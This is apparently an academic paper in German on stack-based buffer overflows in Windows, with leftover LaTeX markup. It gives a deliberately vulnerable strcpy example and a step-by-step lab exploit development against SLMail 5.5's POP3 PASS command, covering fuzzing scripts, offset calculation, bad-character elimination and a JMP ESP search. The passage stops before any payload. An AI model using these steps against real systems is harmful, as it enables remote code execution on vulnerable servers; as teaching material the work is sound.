Stack-basierte Buffer-Overflow Angriffe in Microsoft Windows

Vorwort

Ein Stack-basierter Buffer-Overflow (BOF), auch Stapelpufferüberlauf genannt, tritt auf, wenn eine Speicheradresse außerhalb der dafür vorgesehenen Datenstruktur auf dem Aufrufstapel (Stack-Frame) der betroffenen Funktion überschrieben wird. Die Datenstruktur ist normalerweise ein Buffer mit vorgegebener, fester Länge. So kann z. B. ein Buffer für Zugangsdaten so konzipiert sein, dass Eingaben von 15 Bytes für den Benutzernamen und das Passwort erwartet werden. Beträgt die Benutzereingabe jedoch 20 Bytes (d. h. 5 Bytes mehr als erwartet), schreibt die Anwendung die überschüssigen Daten über die reservierte Größe des Buffers hinaus, sofern keine geeigneten Maßnahmen dagegen ergriffen wurden [1]. Dies führt fast immer zu einer Beschädigung benachbarter Daten sowie ggf. zu einem Absturz oder Einfrieren der Anwendung, da der Stack u. a. die Rücksprungadressen für alle aktiven Funktionsaufrufe enthält [2].

Sofern ein Stack-Buffer-Overflow absichtlich als Teil eines Angriffs herbeigeführt wird, spricht man von Stack-Smashing. Wenn die betroffene Anwendung mit besonderen Privilegien ausgeführt oder Daten von nicht-vertrauenswürdigen Hosts annimmt, handelt es sich somit um eine potenziell von extern ausnutzbare Sicherheitslücke. So wird es einem externen Angreifer ermöglicht, den Stack so zu missbrauchen, dass beliebiger ausführbarer Code in die laufende Anwendung einschleust und die Kontrolle über den Prozess übernommen werden kann. Dieser Angriffsvektor wird als Arbitrary Code Execution (ACE) bezeichnet. Der vom Angreifer eingebrachte Code wird dann mit den gleichen Berechtigungen der betroffenen Anwendung bzw. des betroffenen Threads ausgeführt [3].

Grundlagen

Um die Teilschritte, die in Folge eines Stack-Buffer-Overflows für die erfolgreiche Ausführung von Code umgesetzt werden müssen, vollständig verstehen zu können, werden nun kurz die Grundlagen der Datensegmente von Prozessen und das Zusammenspiel mit den CPU-Registern beschrieben.

Die Datensegmente

Bei der Ausführung einer Anwendung wird die ausführbare Datei auf eine ganz bestimmte Art und Weise im Anwendungsspeicher gehalten, die zwischen verschiedenen Prozessen konsistent ist. Das Betriebssystem ruft die Hauptmethode der Anwendung effektiv als Funktion auf, die dann den Ablauf für den Rest der Anwendung startet und koordiniert. Dabei wird ein virtueller Adressraum geschaffen, welcher bei 32-Bit Anwendungen von 0xffffffff bis 0x00000000 reicht.

Abbildung 1: Die Datensegmente (Quelle: Eigene Darstellung)

Der obere Bereich des Adressraums ist der \texttt{kernel}-Bereich, der die Kommandozeilenparameter, die an die Anwendung übergeben werden, und die Umgebungsvariablen enthält. Der untere Bereich des Speichers wird \texttt{text} genannt und enthält den eigentlichen Code der Anwendung in Form von kompilierten Maschinenbefehlen. Dabei handelt es sich um einen schreibgeschützten Bereich, der nicht verändert werden kann. Oberhalb von \texttt{text} befindet sich der \texttt{data}-Bereich, in welchem globale, statische oder auch vordefinierte Variablen gespeichert werden. Oberhalb dessen befindet sich der Speicherbereich der \texttt{heap}-Datenstruktur, in welcher klassischerweise große Objekte vorgehalten werden (z. B. Bilder und weitere zur Laufzeit geladene Dateien). Unterhalb des \texttt{kernel}-Bereichs wiederum befindet sich schließlich die \texttt{stack}-Datenstruktur, welche überwiegend lokale Variablen oder auch Speicheradressen enthält. Neben der Art der Datenhaltung unterscheiden sich \texttt{heap} und \texttt{stack} folglich außerdem darin, dass der \texttt{heap} nach oben (von niedrigeren zu höheren Speicheradressen) und der \texttt{stack} nach unten (von höheren zu niedrigeren Speicheradressen) wächst. Da der \texttt{stack} nach unten ansteigt, führt jedes Element, das auf den \texttt{stack} geschoben wird, dazu, dass dieser sich dem niedrigeren Speicheradressbereich weiter annähert. Das Gleiche gilt umgekehrt für den \texttt{heap} \cite{Eckert2018}.

\subsection{Die Struktur des Stacks}\label{SS:Die-Struktur-des-Stacks} Um die Struktur des Stacks und sein Zusammenwirken mit verschiedenen CPU-Registern besser zu verstehen, wird im folgenden Quellcode \ref{C:Angreifbares-Beispiel-Programm-in-C} der Fall betrachtet, dass eine Anwendung eine Funktion aufruft, um eine Benutzereingabe aus einem Kommandozeilenparameter im Stack zwischenzuspeichern.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{c}

1. include <stdio.h>
2. include <string.h>

// Aufzurufende Funktion mit einem Parameter void bof(char *my_hello_world) {

   // Deklarierung eines Buffers von 100 Bytes 
   char buffer[100];
   // Kopieren des Parameters in den Buffer
   strcpy(buffer, my_hello_world);

}

// Hauptmethode der Anwendung int main(int argc, char *argv[]) {

  // Funktionsaufruf mit einem Kommandozeilenparameter als Parameter
  bof(argv[1]);
  // Beendigung der Anwendung
  return 0;

} \end{minted} \captionof{listing}{Angreifbares Beispiel-Programm in C (Quelle: Eigenentwicklung)}\label{C:Angreifbares-Beispiel-Programm-in-C} \end{code}

Die Inhalte der Parameter \texttt{argc} und \texttt{argv} der Hauptmethode werden zur Laufzeit im \texttt{kernel}-Bereich abgelegt (vgl. Abbildung \ref{F:Die-Datensegmente}). Die \texttt{main}-Funktion ist der Einstiegspunkt für die Anwendung, welche die \texttt{bof}-Funktion aufruft und ihr den ersten Kommandozeilenparameter übergibt. Dazu wird der Inhalt von \texttt{argv[1]} in Form des \texttt{my\_hello\_world}-Parameters auf den Stack geschoben. Dabei handelt es sich nur um die reguläre Aufrufsequenz einer Funktion und nicht bereits um die angekündigte zusätzliche Zwischenspeicherung des Parameters.

Anschließend wird die Speicheradresse der Anweisung aus der \texttt{main}-Funktion auf dem Stack abgelegt, mit der die Anwendung die Ausführung fortsetzen soll, nachdem die \texttt{bof}-Funktion vollständig ausgeführt wurde. Im obigen Quellcode \ref{C:Angreifbares-Beispiel-Programm-in-C} ist dies die Speicheradresse für die Anweisung in Zeile 19. Diese wird daher auch Rücksprungadresse genannt und vor Abschluss der Funktion vom \ac{eip} abgerufen, welcher immer die Speicheradresse der nächsten auszuführenden Instruktion enthält.

Danach wird die Speicheradresse des \ac{ebp} auf den Stack geschoben und der \ac{esp} definiert. Der \ac{ebp} wird als Basis-Zeiger für den aktuellen Stack-Frame verwendet und der \ac{esp} stellt den Stack-Zeiger dar. Wird eine Funktion aufgerufen, wird typischerweise Platz auf dem Stack für lokale Variablen reserviert (siehe \texttt{my\_hello\_world}). Dieser Platz wird üblicherweise über den \ac{ebp} referenziert. Alle lokalen Variablen und Funktionsparameter haben einen konstanten Offset zu diesem für die Dauer des Funktionsaufrufs gleichbleibendem Register. Der \ac{esp} hingegen verändert seinen Wert während des Funktionsaufrufs, wenn temporär Stack-Speicherplatz für Teilergebnisse einer Operation beansprucht wird. Folglich zeigt anfänglich der \ac{esp} auf den \ac{ebp}, da noch keine Werte auf dem Stack abgelegt wurden. Sobald sich dies ändert, zeigt der \ac{esp} hingegen immer auf das Ende des Stacks \cite{Dang2014}.

Abschließend wird nun der \texttt{buffer} mit einer Größe von von 100 Bytes auf dem Stack allokiert und durch die Funktion \texttt{strcpy} mit dem Wert des \texttt{my\_hello\_world}-Parameters gefüllt. Folglich entspricht die Speicheradresse des \ac{esp} nun der Adresse vom $\ac{ebp} + 100$.

Abbildung 2: Der Adressraum des Beispiel-Programms (Quelle: Eigene Darstellung)

Daraus ergibt sich der in Abbildung \ref{F:Der-Adressraum-des-Beispiel-Programms} dargestellte Aufbau des Stacks:

\begin{enumerate}

   \item Der \texttt{my\_hello\_world}-Parameter mit dem Beispielwert "Moin".
   \item Die Rücksprungadresse zur Anweisung in Zeile 19.
   \item Die Speicheradresse des \ac{ebp} des Stack-Frames der aufrufenden Funktion (\texttt{main()}).
   \item Der 100-Byte-Buffer, welcher bezogen auf den Beispielwert nur 5 Byte verwendet.

\end{enumerate}

\subsection{Die Funktionsweise des Stack-Buffer-Overflows}\label{SS:Die-Funktionsweise-des-Stack-Buffer-Overflows} Man beachte erneut, dass der Stack von hohen Speicheradressen zu niedrigeren Speicheradressen nach unten wächst. Der Buffer selbst wird jedoch ausgehend vom \ac{esp} von niedrigeren zu höheren Speicheradressen beschrieben, also in der entgegengesetzten Richtung hin zum \ac{ebp}. Bezogen auf den Quellcode \ref{C:Angreifbares-Beispiel-Programm-in-C} bedeutet dies, dass bei der Übergabe eines Wertes für den Parameter \texttt{my\_hello\_world} von mehr als 100 Bytes zuerst der \ac{ebp} überschrieben wird, da dieser tiefer im Stack (und damit höher im Speicher) liegt. Je nach Länge des Überlaufs werden außerdem die Rücksprungadresse für den \ac{eip}, die Parameter und der Stack-Frame der vorherigen Funktion(en) verändert.

Abbildung 3: Der Adressraum mit Buffer-Overflow (Quelle: Eigene Darstellung)

Aus der Darstellung des beschädigten Adressraums kann nun bereits abgeleitet werden, wie die erfolgreiche Ausführung von fremdem Code im weiteren Verlauf realisiert werden kann. Da der gesamte Speicherbereich über den Buffer hinaus nun von einem Angreifer beliebig überschrieben werden kann, ist es möglich, den Stack mit ausführbarem Code anstatt einer Zeichenkette zu füllen und diesen durch die adäquate Anpassung der Rücksprungadresse zur Ausführung zu bringen. Dazu muss jedoch die Position des Codes, welcher nachfolgend Payload genannt wird, im Speicher referenzierbar sein.

Abbildung 4: Die Speicheradresse des ESP-Registers (Quelle: Eigene Darstellung)

Unter Microsoft Windows kann man sich dabei den Umstand zu Nutze machen, dass Funktionsaufrufe in der Regel mit den Assembler-Befehlen \texttt{LEAVE} und \texttt{RETN} (oder einem Äquivalent) abgeschlossen werden. Diese sorgen verkürzt dafür, dass der \ac{esp} erneut die Adresse des \ac{ebp} annimmt, was dem in Abschnitt \ref{SS:Die-Struktur-des-Stacks} erläuterten Ausgangswert entspricht. Des Weiteren wird anschließend die Speicheradresse des \ac{esp} um 4 Bytes erhöht, was normalerweise vorbereitend der Wiederherstellung des Stack-Frames der aufrufenden Funktion dient (siehe Quellcode \ref{C:Angreifbares-Beispiel-Programm-in-C}, Zeile 14) \cite{Petrou2018}. Die Speicheradresse des \ac{esp} entspricht dann der ursprünglichen Speicherposition der Funktionsparameter (vgl. Abbildung \ref{F:Die-Speicheradresse-des-ESP-Registers}), bevor diese überschrieben wurden. Daher wird dieser Speicherbereich (zzgl. ggf. des Stack-Frames von \texttt{main()}) anstatt des 100-Byte-Buffers zum Speichern des Payloads verwendet. In Folge der im Kontext der Anwendungslogik ausgeführten Assembler-Befehle wird dieser Speicherbereich mittels der Speicheradresse des \ac{esp} eindeutig referenzierbar. Im Weiteren wird dann durch die Assembler-Anweisung \texttt{RETN} die Anweisung ausgeführt, auf die das \ac{eip}-Register mittels der Rücksprungadresse verweist. Folgerichtig kann die Ausführung des Payloads durch das Einsetzen einer statischen Speicheradresse ausgelöst werden, deren Instruktion einen Sprung zum \ac{esp} und somit zum Anfang des Payloads auslöst \cite{Dang2014}.

Die in diesem Abschnitt beschriebene Prozedur entspricht jedoch nur einem vereinfachten Verfahrensmodell. Die genaue Vorgehensweise wird im nachfolgenden Abschnitt \ref{S:Entwicklung-eines-Stack-Buffer-Overflow-Exploits} anhand einer realen Exploit-Entwicklung im Detail erläutert, da für die erfolgreiche Generierung und Ausführung eines Payloads weitere technische und architekturelle Besonderheiten beachtet werden müssen.

\newpage

\section{Entwicklung eines Stack-Buffer-Overflow-Exploits}\label{S:Entwicklung-eines-Stack-Buffer-Overflow-Exploits} Die aktive Ausnutzung dieser Art von Schwachstelle wird nachfolgend am POP3-Dienst des SLMail Mail-Servers in Version 5.5 demonstriert.

Für die Analyse/das Debugging der Schwachstelle sowie für die teilautomatisierte Entwicklung eines funktionalen Exploits wird die folgende virtuelle Umgebung benötigt:

\begin{enumerate}

   \item Microsoft Windows 7 (x86)\footnote{\url{https://developer.microsoft.com/de-de/microsoft-edge/tools/vms/}}
   \begin{itemize}
       \item SLMail 5.5\footnote{\url{https://www.exploit-db.com/apps/12f1ab027e5374587e7e998c00682c5d-SLMail55_4433.exe}}
       \item Immunity Debugger\footnote{\url{https://www.immunityinc.com/products/debugger/}} mit \texttt{mona.py}\footnote{\url{https://github.com/corelan/mona}}
   \end{itemize}
   \item Kali Linux\footnote{\url{https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/}}
   \begin{itemize}
       \item Metasploit Framework
       \item Python 3
       \item OpenBSD-Netcat
   \end{itemize}

\end{enumerate}

\subsection{Fuzzing der Anwendung} Allgemein bezeichnet Fuzzing eine automatisierte Software-Testtechnik, bei der ungültige, unerwartete oder zufällige Daten als Eingaben an den zu testenden Dienst gesendet werden. Das Ziel ist dabei das Aufdecken von Fehlern in der Verarbeitung der Eingaben \cite{OWASPFuzzing}. Der verwundbare Dienst ist an dieser Stelle der POP3-Dienst des SLMail Mail-Servers, spezifisch der \texttt{PASS}-Befehl als Teil des Authentifizierungsprozesses des Protokolls \cite{RFC1939}.

Abbildung 5: Ablauf der POP3-Authentifizierung (Quelle: Eigene Darstellung angelehnt an [8])

Nachfolgend wird nun mittels Fuzzing die bekannte Schwachstelle im \texttt{PASS}-Befehl verifiziert, jedoch nicht auf das Fuzzing der gesamten Anwendungslogik des Dienstes eingegangen. Dazu wird in Python eine einfache Fuzzing-Anwendung entwickelt, welche sequentiell einen String mit inkrementeller Länge an den Dienst unter Beachtung des POP3-Protokolls (vgl. Abbildung \ref{F:Ablauf-der-POP3-Authentifizierung}) sendet. Währenddessen wird der Prozess des Dienstes mit einem Debugger überwacht.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{python} def fuzzing(ip, port=110):

   # Buffer, der eine steigende Anzahl von Zeichen enthält
   buffer = b
   # Maximale Buffer-Länge
   max_buffer = 5200
   # Größe des Inkrements pro Durchgang
   increment = 400

   while len(buffer) <= max_buffer:
       # Buffer Initalisierung/Erhöhung
       buffer = buffer + b'A' * increment

       print(f'\nFuzzing mit {len(buffer)} Bytes')
       # Socket Initalisierung mit 5 Sekunden Timeout
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.settimeout(5)
       try:
           # Verbindungsaufbau
           s.connect((ip, port))
           # Ausgabe des initialen +OK Status-Indikators (Willkommen)
           print(f'1. {s.recv(1024)[:-1].decode()}')
           # Senden des Benutzernamens nach RFC 1939
           s.send(b'USER username\r\n')
           # Ausgabe des +OK Status-Indikators (Benutzername)
           print(f'2. {s.recv(1024)[:-1].decode()}')
           # Senden des Buffers als Passwort nach RFC 1939
           s.send(b'PASS ' + buffer + b'\r\n')
           # Ausgabe des +OK Status-Indikators (Passwort)
           print(f'3. {s.recv(1024)[:-1].decode()}')
           # Schließen der Verbindung
           s.close()
       except:
           # Ausgabe eines Fehlers, sobald der Dienst nicht mehr antwortet
           print('Verbindung abgelehnt, siehe Immunity Debugger')
           sys.exit(0)

\end{minted} \captionof{listing}{Python POP3 Fuzzing-Funktion (Quelle: Eigenentwicklung)}\label{C:Python-POP3-Fuzzing-Funktion} \end{code}

Die Ausführung der Fuzzing-Funktion unter Kali Linux (vgl. Quellcode \ref{C:Python-POP3-Fuzzing-Funktion}) ergibt die folgende gekürzte Ausgabe.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{shell} Fuzzing mit 400 Bytes 1. +OK POP3 server IEWIN7 ready <00001.6366078@IEWIN7> 2. +OK username welcome here 3. -ERR unable to lock mailbox

[...]

Fuzzing mit 2400 Bytes 1. +OK POP3 server IEWIN7 ready <00006.6368250@IEWIN7> 2. +OK username welcome here 3. -ERR unknown command

Fuzzing mit 2800 Bytes 1. +OK POP3 server IEWIN7 ready <00007.6368843@IEWIN7> 2. +OK username welcome here Verbindung abgelehnt, siehe Immunity Debugger \end{minted} \captionof*{listing}{Ausgabe der Python POP3 Fuzzing-Funktion} \end{code}

Daraus wird bereits ersichtlich, dass die Anwendung bei der Eingabe von ca. 2800 Bytes in Form von A-Buchstaben nicht mehr reagiert. Ein erneuter Verbindungsaufbau schlägt ebenfalls fehl. Daraus lässt sich bereits jetzt ohne die Auswertung der Informationen aus dem Immunity Debugger feststellen, dass die Eingabevalidierung unzureichend ist, was zu einem Absturz des Dienstes führt.

Abbildung 6: Ausgabe der Register (Quelle: Eigener Screenshot)

Die Auswertung der Register im Immunity Debugger (vgl. Abbildung \ref{F:Ausgabe-der-Register-im-Immunity-Debugger-Fuzzing}) zeigt, dass mehrere Register selbst oder deren Inhalt mit dem Wert \texttt{\textbackslash{}x41} überschrieben wurden, was der Hexadezimaldarstellung des A-Buchstaben entspricht (vgl. Quellcode \ref{C:Python-POP3-Fuzzing-Funktion}). Betroffen sind hiervon der \ac{ebp}, der \ac{esp} sowie der \ac{eip}.

\subsection{Bestimmung des Offsets zur Rücksprungadresse}\label{S:Bestimmung-des-Offsets-zur-Ruecksprungadresse} Eine Besonderheit stellen Speicheradressen dar, bei denen zu einer Basisadresse ein Versatz in Form eines ganzzahligen Wertes -- auch Offset genannt -- addiert wird \cite{Dang2014}. Zur angestrebten Umleitung des Ausführungsflusses ist in diesem Kontext also der Offset zwischen der Benutzereingabe über den \texttt{PASS}-Befehl ausgehend vom \ac{esp} zur Position der Rücksprungadresse von besonderem Interesse. Zu dessen Berechnung eignet sich im Gegensatz zum bisher verwendeteten String aus A-Buchstaben besonders die Generierung eines sich nicht wiederholenden Strings. Dadurch wird der in Folge des Buffer-Overflows im \ac{eip}-Register angezeigte Wert eindeutig identifizierbar. Zu diesem Zweck stellt Metasploit zwei sehr nützliche Hilfsprogramme zur Verfügung: \texttt{pattern\_create.rb} und \texttt{pattern\_offset.rb}. Diese beiden Skripte befinden sich im Tools-Verzeichnis von Metasploit \cite{Messner2017,OffensiveSecurityExploit}.

Die Ausführung von \texttt{pattern\_create.rb} unter Kali Linux für eine Länge von 2800 Bytes ergibt die folgende gekürzte Ausgabe.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{shell} /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2800 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac [...] 8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D \end{minted} \captionof*{listing}{Ausgabe von pattern\_create.rb} \end{code}

Diese kann nun als Buffer in die leicht abgewandelte Python Fuzzing-Anwendung eingefügt werden, um den String an den POP3-Dienst zu senden.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{python} def send_buffer(ip, port=110):

   # Buffer, der einen sich nicht wiederholenden String enthält
   buffer = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9' \
            [...]
            b'Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9' \
            b'Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9' \
            b'Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9' \
            b'Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D'

   print(f'\nFuzzing mit {len(buffer)} Bytes')
   # Socket Initalisierung mit 5 Sekunden Timeout
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.settimeout(5)
   try:
       # Verbindungsaufbau
       s.connect((ip, port))
       # Ausgabe des initialen +OK Status-Indikators (Willkommen)
       print(f'1. {s.recv(1024)[:-1].decode()}')
       # Senden des Benutzernamens nach RFC 1939
       s.send(b'USER username\r\n')
       # Ausgabe des +OK Status-Indikators (Benutzername)
       print(f'2. {s.recv(1024)[:-1].decode()}')
       # Senden des Buffers als Passwort nach RFC 1939
       s.send(b'PASS ' + buffer + b'\r\n')
       # Ausgabe des +OK Status-Indikators (Passwort)
       print(f'3. {s.recv(1024)[:-1].decode()}')
       # Schließen der Verbindung
       s.close()
   except:
       # Ausgabe eines Fehlers, sobald der Dienst nicht mehr antwortet
       print('Verbindung abgelehnt, siehe Immunity Debugger')
       sys.exit(0)

\end{minted} \captionof{listing}{Python POP3 Send-Funktion mit Pattern (Quelle: Eigenentwicklung)}\label{C:Python-POP3-Send-Funktion-mit-Pattern} \end{code}

Die Ausführung der aktualisierten Funktion unter Kali Linux (vgl. Quellcode \ref{C:Python-POP3-Send-Funktion-mit-Pattern}) ergeben die folgenden Register-Werte im Immunity Debugger.

Abbildung 7: Verifikation des Offsets (Quelle: Eigener Screenshot)

Die Auswertung des \ac{eip}-Registers zeigt, dass dessen Inhalt mit dem Wert \texttt{\textbackslash{}x39\textbackslash{}x69\textbackslash{}x44\textbackslash{}x38} überschrieben wurde (vgl. Abbildung \ref{F:Ausgabe-der-Register-im-Immunity-Debugger-Offset}), was der Hexadezimaldarstellung der Zeichenkette \texttt{9iD8} entspricht. Aufgrund der Konvention von Little-Endian- und Big-Endian-Systemen muss die Zeichenkette jedoch noch nach \texttt{8Di9} invertiert werden \cite{Cary2002}.

Um das exakte Offset zum \ac{eip} bestimmen zu können, kann nun entweder die Länge des Pattern-Strings bis zur Zeichenkette (exklusive) händisch ermittelt oder das \texttt{pattern\_offset.rb} Skript des Metasploit Frameworks genutzt werden.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{shell} /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438 [*] Exact match at offset 2606 \end{minted} \captionof*{listing}{Ausgabe von pattern\_offset.rb} \end{code}

Das exakte Offset zur Rücksprungadresse, welche nach Ende der \texttt{PASS}-Funktion vom \ac{eip} geladen wird, entspricht folglich genau 2606 Bytes.

\subsection{Identifikation und Eliminierung von ungültigen Zeichen} Bevor mit der Entwicklung fortgesetzt werden kann, müssen alle Zeichen (Characters) identifiziert und eliminiert werden, welche die Ausführung von Code verhindern. Diese Zeichen stehen oft in direkter Relation zur Anwendungslogik des betroffenen Dienstes, hier SLMail.

Zu deren Identifizierung kann im Immunity Debugger mittels \texttt{mona.py} ein Byte-Array von \texttt{\textbackslash{}x00} bis \texttt{\textbackslash{}xff} generiert werden, was entsprechend der Hexadezimaldarstellung ein Byte-Array mit $16^2=256$ Bytes ergibt. Auch in Python ist eine derartige Generierung möglich. Im weiteren Verlauf ist es jedoch sehr hilfreich, diesen direkt im Immunity Debugger zu erzeugen, da dieser gespeichert und als Referenztabelle zum automatisierten Abgleich mit den Werten im Speicher verwendet werden kann \cite{Messner2017}.

Abbildung 8: Generierung des Byte-Arrays (Quelle: Eigener Screenshot)

Zu beachten ist an dieser Stelle allerdings, dass das \texttt{\textbackslash{}x00}-Byte dem Null-Terminator für Zeichenketten in ASCII und UTF-8 entspricht. Eine Zeichenkette muss durch ein Null-Byte abgeschlossen werden (vgl. Abbildung \ref{F:Der-Adressraum-des-Beispiel-Programms}) und darf daher nie innerhalb einer Zeichenkette vorkommen. Daher wird das \texttt{\textbackslash{}x00}-Byte bereits jetzt aus dem Byte-Array entfernt, da andernfalls das Senden aller weiteren Zeichen dadurch unterbunden wird \cite{OWASPNullCode}.

Das "korrigierte" 255-Byte-Array kann nun innerhalb der Python Anwendung als Buffer verwendet werden, um diesen an den POP3-Dienst zu senden. Dabei ist jedoch das zuvor bestimmte Offset von 2606 Bytes sowie die Größe der Rücksprungadresse von weiteren 4 Bytes zu beachten (vgl. Quellcode \ref{C:Python-POP3-Send-Funktion-mit-Byte-Array}), da der Payload im weiteren Verlauf in den Speicherbereich vor der Rücksprungadresse (in Richtung der höheren Speicheradressen) geschrieben wird. Somit ist gerade dieser Speicherbereich für die Untersuchung von besonderem Interesse.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{python} def send_buffer(ip, port=110):

   # Buffer-Aufbau: Offset + EIP + Byte-Array
   buffer = b'A' * 2606 + b'B' * 4 + \
            b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' \
            b'\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e' \
            [...]
            b'\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

   [...]

\end{minted} \captionof{listing}{Python POP3 Send-Funktion mit Byte-Array (Quelle: Eigenentwicklung)}\label{C:Python-POP3-Send-Funktion-mit-Byte-Array} \end{code}

Anschließend kann im Immunity Debugger das Speicherabbild (Memory Dump) auf fehlende oder ungültige Zeichen untersucht werden.

Abbildung 9: 1. Abgleich des Byte-Arrays (Quelle: Eigener Screenshot)

Bei dem Abgleich des Speicherabbilds in Abbildung \ref{F:Abgleich-des-Byte-Arrays-im-Immunity-Debugger-Speicherabbild-1} mit dem Quellcode \ref{C:Python-POP3-Send-Funktion-mit-Byte-Array} ist der Inhalt der folgenden Speicheradressen wie folgt zu interpretieren:

\begin{description}

   \item[0x028aa120] Ende des 2606-Byte-Offsets aus A-Buchstaben (\ac{ebp}).
   \item[0x028aa124] Wert der Rücksprungadresse in Folge des Buffer-Overflows.
   \item[0x028aa128] Anfang des generierten 255-Byte-Arrays.
   \item[0x028aa131] Erste Nonkonformität mit dem 255-Byte-Array (\texttt{\textbackslash{}x29} anstatt \texttt{\textbackslash{}x0a}).
   \item[0x028aa132] Vollständige Nonkonformität mit dem 255-Byte-Array ab dieser Speicheradresse.

\end{description}

Aus der ersten Nonkonformität in Form des \texttt{\textbackslash{}x0a} Zeichens geht somit hervor, dass dieses die Ausführung der Anwendung aufgrund der darauffolgenden vollständigen Nonkonformität mit dem 255-Byte-Array insgesamt unterbricht. Daher wird das ungültige Zeichen aus dem Byte-Array entfernt und die Ausführung von Quellcode \ref{C:Python-POP3-Send-Funktion-mit-Byte-Array} entsprechend wiederholt.

Abbildung 10: 2. Abgleich des Byte-Arrays (Quelle: Eigener Screenshot)

Aus dem zweiten Speicherabbild-Abgleich (vgl. Abbildung \ref{F:Abgleich-des-Byte-Arrays-im-Immunity-Debugger-Speicherabbild-2}) geht hervor, dass an Speicheradresse \texttt{0x029da133} die nächste Nonkonformität (\texttt{\textbackslash{}x0e} anstatt \texttt{\textbackslash{}x0d}) vorhanden ist. Dies führt jedoch diesmal nicht zu einer vollständigen Nonkonformität mit dem restlichen Byte-Array.

Da der manuelle Abgleich zwischen dem Speicherabbild und dem Array einerseits sehr zeitaufwändig und andererseits beispielseise aufgrund von Unachtsamkeit relativ fehleranfällig ist, gibt es im Immunity Debugger mittels \texttt{mona.py} außerdem die Möglichkeit, das Speicherabbild automatisiert unter der Angabe der Start-Speicheradresse des Byte-Arrays (hier \texttt{0x029da128}) abzugleichen (vgl. Abbildung \ref{F:Ausgabe-des-Byte-Arrays-im-Immunity-Debugger-Abgleich}). Dazu nutzt \texttt{mona.py} den zuvor generierten Byte-Array aus Abbildung \ref{F:Ausgabe-des-Byte-Arrays-im-Immunity-Debugger-Generierung} \cite{Messner2017}.

Abbildung 11: Ausgabe des automatisierten Byte-Array-Abgleichs (Quelle: Eigener Screenshot)

Die ungültigen Zeichen des POP3-Diensten sind somit:

\begin{description}

   \item[0x00] Der Null-Byte-Terminator für Zeichenketten in ASCII und UTF-8.
   \item[0x0a] Das \texttt{\textbackslash{}n}-Zeichen, welches allgemein als Line-Feed oder Newline-Character bekannt ist.
   \item[0x0d] Das \texttt{\textbackslash{}r}-Zeichen, welches allgemein als Carriage-Return bekannt ist.

\end{description}

Abschließend lässt sich also festhalten, dass die beiden weiteren ungültigen Zeichen \texttt{0x0d} und \texttt{0x0a} in Kombination einen Zeilenumbruch unter Microsoft Windows darstellen \cite{WikipediaNewline}. Im Kontext des untersuchten POP3-Dienstes ist dies somit auf die Protokoll-Spezifikation zurückzuführen, da in POP3 ein Zeilenumbruch den Abschluss der Benutzereingabe im aktuellen Befehl repräsentiert \cite{RFC1939}. Folglich würde die Verwendung dieser ungültigen Zeichen zu einem Abbruch der \ac{ace} führen.

\subsection{Detektierung einer verwundbaren \ac{dll}} Nach der Identifizierung aller ungültigen Zeichen muss nun eine verwundbare \ac{dll} ermittelt werden, welche die Ausführung eines Payloads in Form einer \ac{ace} ermöglicht. Dazu werden alle genutzten \ac{dll}s mittels \texttt{mona.py} identifiziert, die nicht über geeignete Schutzmaßnahmen verfügen, um die zuvor beschriebene Methodik zu unterbinden (vgl. Abbildung \ref{F:Verwundbare-Module-im-Immunity-Debugger-Ausgabe}).

Abbildung 12: Ausgabe der verwundbaren Module (Quelle: Eigener Screenshot)

Welche der drei ermittelten \ac{dll}s genutzt wird ist irrelevant, solange diese keine der aufgeführten vier Schutzmaßnahmen (Rebase, SafeSEH, ASLR, NXCompat) verwendet. Nachfolgend wird hier die \texttt{SLMFC.DLL} genutzt.

Um nun noch zu verifizieren, dass die Verwendung von \texttt{SLMFC.DLL} auch zielführend ist, schließlich muss diese einen Sprung in den \ac{esp} ermöglichen (siehe Abschnitt \ref{SS:Die-Funktionsweise-des-Stack-Buffer-Overflows}), wird die \ac{dll} nun mittels \texttt{mona.py} nach eben genau so einer Sprunganweisung durchsucht. In Assembler entspricht dies der Sprunganweisung \texttt{JMP ESP}, was wiederum \texttt{\textbackslash{}xff\textbackslash{}xe4} als Hexadezimaldarstellung entspricht (vgl. Abbildung \ref{F:Verwundbare-Module-im-Immunity-Debugger-JMP-ESP}).

Abbildung 13: Ausgabe detektiertenJMP ESP-Anweisungen (Quelle: Eigener Screenshot)

